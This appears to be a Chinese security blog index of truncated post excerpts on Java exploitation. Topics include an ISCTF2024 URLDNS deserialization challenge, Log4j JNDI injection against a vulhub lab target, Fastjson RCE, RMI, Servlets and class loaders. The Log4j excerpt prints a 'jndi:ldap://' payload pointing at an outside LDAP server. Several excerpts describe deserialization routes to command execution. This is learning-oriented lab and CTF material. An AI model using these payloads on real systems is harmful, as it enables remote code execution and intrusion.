写在前面
题目来源:ISCTF2024 URLDNS
思路
拿到jar文件,先使用jd-gui反编译看一下内容
可以看到两个关键类Eval.clss和IndexController.clss
可以看到在IndexController类中,@PostMapping注解处接收/ser路由,当我们传参unser,他就会调用base64deserial方法解码base64字符串,对传入的内容进行反序列化。
但是我们都知道,URLDNS链并没有实际的高危利用方法,链子过程在此不表
详情请看 URLDNS链
转到Eval.clss类中,我们可以看到在base64deserial方法中,有一个eval方法,这个方法接收了一个字符串,然后在hashCode方法中使用了Runtime.getRuntime().exec()方法执行了传入的字符串。
这下思路就清晰了,我们可以借鉴URLDNS链的利用思路,通过反序列化的方式去利用Evil类的HashCode方法,从而调用Runtime.getRuntime().exec()方法执行命令。
POC直接上PO ...
Log4j
写在前面
没想到不到一年我已经进步到能看得懂分析文章,再自己写文章的水平了。希望今年再接再厉吧,
利用
这里我用vulhub的容器搭建的,靶机地址为172.27.118.120
有个传入参数的点
1http://172.27.118.120:8983/solr/admin/cores?action=
我还是刚刚用JNDI-Injection-Exploit起一个恶意服务器。
直接打poc即可
关于链子
这条链子的利用比我想象的简单
JNDI需要被利用的话,需要用到InitialContext.lookup()函数,我们直接搜索函数,在look up处下断点
断下后查看上一帧,可以看到这里传入的name的值就是我们的ldap地址
继续往回走几帧,在这里可以发现它调用了一个resolveVariable方法,传入了参数buf 和varname
123varName=jndi:ldap://26.119.104.107:1389/opvrkibuf=${jndi:ldap:/ ...
Fastjson 1.2.24 RCE
环境
JDK&java:1.8
依赖:fastjson1.2.24
写在前面
后续会更新相应的利用到54huarui/fastjsonfileread-test-exp
关于Fastjson
Fastjson 的反序列化是指将 JSON 格式的字符串转换为 Java 对象的过程。它通过 JSON.parseObject() 方法实现,支持将 JSON 数据映射到 Java 的普通类、集合、映射等多种数据结构
解析Fastjson 内部使用一个解析器( DefaultJSONParser )将 JSON 字符串分解为一个个字段。解析器会逐字符读取 JSON 数据,识别出键值对、数组、嵌套对象等结构。
Fastjson 根据目标类的类型信息,通过反射机制加载对应的 Java 类。如果 JSON 数据中包含 @type 字段,Fastjson 会根据 @type 的值动态加载指定的类。例如:
123{"@type": "com.example.User&q ...
RMI
写在前面
RMI实现,缝缝补补一些知识
环境
jdk20
java.rmi
简要
RMI 是 Java 提供的一个完善的简单易用的远程方法调用框架,采用客户/服务器通信方式,在服务器上部署了提供各种服务的远程对象,客户端请求访问服务器上远程对象的方法,它要求客户端与服务器端都是 Java 程序。
一般来说,RMI的实现需要三种角色:
客户端
服务端
注册中心
过程
1.定义远程接口首先需要定义一个远程接口,它必须继承自java.rmi.Remote接口,并且所有方法都必须声明抛出RemoteException。这段代码发生在服务端
12345678import java.rmi.Remote;import java.rmi.RemoteException;public interface RemoteInterface extends Remote { String sayHello(String name) throws RemoteException;}
2. 实现远程接口远程实现类需要实现远程接口,并且必须继承 ...
Servlet
web.xml
在 web.xml 中,Servlet 的配置在 Servlet 标签中,Servlet 标签是由 Servlet 和Servlet-mapping 标签组成,两者通过在 Servlet 和 Servlet-mapping 标签中相同的Servlet-name 名称实现关联,在图 4-3 中的标签含义如下。
servlet:声明 Servlet 配置入口。
description:声明 Servlet 描述信息。
:定义 Web 应用的名字。
:声明 Servlet 名称以便在后面的映射时使用。
:指定当前 servlet 对应的类的路径。
:注册组件访问配置的路径入口。
:指定上文配置的 Servlet 的名称。
:指定配置这个组件的访问路径。
Servlet 注解
Servlet 3.0 以上的版本中,开发者无须在 web.xml 里面配置 Servlet,只需要添加@WebServlet 注解即可修改 Servlet 的属性
Servlet 的生命周期
当用户第一次向服务器发起请求时,服务器会解析用户的请求, ...
fastjson fileread
写在前面
前段时间有幸做了一道fastjson的题目,顺带研究了一下fastjson的利用链。但是苦于网络上有关fastjson的利用脚本很少,所以就萌生了利用空闲时间写一个fastjson的gui版利用脚本。不仅巩固一下我的java学习,也为其他人比赛和研究提供一些方便
链接 54huarui/fastjsonfileread-test-exp
关于漏洞 CVE-2022-25845-In-Spring
参考如下:
luelueking/CVE-2022-25845-In-Spring
fastjson1.2.80 in Springtboot新链学习记录
ph0ebus/CVE-2022-25845-In-Spring
还在慢慢慢慢地磨蹭,如果你看到这里作者还没做好第二条链子,请速度去拷打作者。
fastjson反序列化
版本1.2.80
题目源码
1234567891011121314151617181920212223package demo.Controller;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.RestController;@RestControllerpublic class JsonController { @RequestMapping(value={"/json"}, method={RequestMethod.POST}) pub ...
JAVA类加载器
Java 的类加载器(ClassLoader)是 Java 中的核心机制之一,它负责将 Java 字节码(class 文件)加载到 JVM 中,并定义类的运行时行为。
Java程序的执行流程
classloader类中的方法
方法
描述
loadClass(String name)
加载指定名称的类,并返回对应的Class对象。这个方法使用双亲委派模型,从上至下依次尝试加载类。如果找不到类,则会抛出ClassNotFoundException异常。
findClass(String name)
查找并加载指定名称的类,并返回对应的Class对象。这个方法一般在自定义ClassLoader中重写,以实现自定义的类查找逻辑。如果找不到类,则需要抛出ClassNotFoundException异常。
defineClass(String name, byte[] b, int off, int len)
将字节数组转换为Java类的定义,并返回对应的Class对象。这个方法通常在自定义ClassLoader中被调用,用于加载已经获得的类字节 ...








